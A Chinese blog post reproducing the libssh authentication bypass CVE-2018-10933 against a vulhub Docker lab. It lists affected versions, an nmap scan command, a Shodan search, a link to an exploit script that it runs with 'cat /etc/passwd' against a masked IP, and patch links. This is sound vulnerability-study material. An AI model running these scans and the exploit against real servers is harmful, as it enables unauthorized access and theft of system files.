Libssh认证绕过CVE-2018-10933漏洞复现

àì夳堔傛蜴生んèń 2024-04-07 10:57 136阅读 0赞

### 0x00 漏洞描述 ###

libssh 0.6 及以上的版本，在服务端的代码实现中存在身份认证绕过漏洞。在向服务端认证的流程中，攻击者通过将 SSH2\_MSG\_USERAUTH\_REQUEST 消息替换为 SSH2\_MSG\_USERAUTH\_SUCCESS，即可在无需任何有效凭证的情况下认证成

### 0x01 漏洞影响版本 ###

libssh 0.8.x - 0.8.3

libssh 0.7.x - 0.7.5

libssh 0.6.x

### 0x02 漏洞检测 ###

1.nmap扫描libssh版本

nmap -p 2222 -n-Pn -T5 -sC -Sv 149.\*.\*.85

![f30ce043a1cf39e6d7bf730861efe64d.jpeg][]

2.Shodan.io libSSH

![8ada1e0ef599ca513bed56d76ac1bea7.jpeg][]

### 0x03 漏洞复现 ###

1.最好在windows上运行脚本，在linux上运行脚本出现很多坑(很多依赖脚本安装有问题)Windows上安装python3，然后使用以下命令进行安装脚本运行依赖包：

pip3 installl paramiko

2．漏洞靶机部署，这里采用[vulhub][]进行部署。(本机采用ubuntu16.04)

root@libssh:~\# git clone [https://github.com/vulhub/vulhub.git][https_github.com_vulhub_vulhub.git]

root@libssh:~\# cd vulhub/

root@libssh:~/vulhub\# cd libssh/CVE-2018-10933/

root@libssh:~/vulhub/libssh/CVE-2018-10933\# docker-compose build

root@libssh:~/vulhub/libssh/CVE-2018-10933\# docker-compose up -d

![ffe339f478d76cdd8d9ac1720abfef55.jpeg][]

3.本地环境中运行攻击脚本

脚本下载地址：

https://raw.githubusercontent.com/backlion/CVE-2018-10933/master/libssh-CVE-2018-10933.py

D:\\python3>python.exe libssh-CVE-2018-10933.py 149.\*.\*.852222 "cat /etc/passwd"

(注意这里的2222端口是docker有libssh漏洞的sshd服务(22端口)映射出物理机主机的端口2222)

![9cb5e095d460023395fb706232380279.jpeg][]

### 0x04 解决方案 ###

官方已发布不受影响版本。建议受影响用户尽快升级。已修复版本Libssh 0.8.4和0.7.6下载链接如下：[https://www.libssh.org/files][https_www.libssh.org_files]

补丁地址:

[https://www.libssh.org/security/patches/stable-0.6\_CVE-2018-10933.jmcd.patch01.txt][https_www.libssh.org_security_patches_stable-0.6_CVE-2018-10933.jmcd.patch01.txt]

更新地址:

https://www.libssh.org/files/0.7/libssh-0.7.6.tar.xz

https://www.libssh.org/files/0.8/libssh-0.8.4.tar.xz

注意：使用OpenSSH的SSH服务不受影响

[f30ce043a1cf39e6d7bf730861efe64d.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/27be4c6e50db446ea0a80f63ab0db90f.jpeg
[8ada1e0ef599ca513bed56d76ac1bea7.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/87423c61e7c24690a117caa93d7e17c7.jpeg
[vulhub]: https://github.com/vulhub/vulhub
[https_github.com_vulhub_vulhub.git]: https://github.com/vulhub/vulhub.git
[ffe339f478d76cdd8d9ac1720abfef55.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/f1137ab0d3c743d688fff5d0f676e3e5.jpeg
[9cb5e095d460023395fb706232380279.jpeg]: https://image.dandelioncloud.cn/pgy_files/images/2024/04/07/02ecaad4c5a54315a4ae51818e906d1f.jpeg
[https_www.libssh.org_files]: https://www.libssh.org/files
[https_www.libssh.org_security_patches_stable-0.6_CVE-2018-10933.jmcd.patch01.txt]: https://www.libssh.org/security/patches/stable-0.6_CVE-2018-10933.jmcd.patch01.txt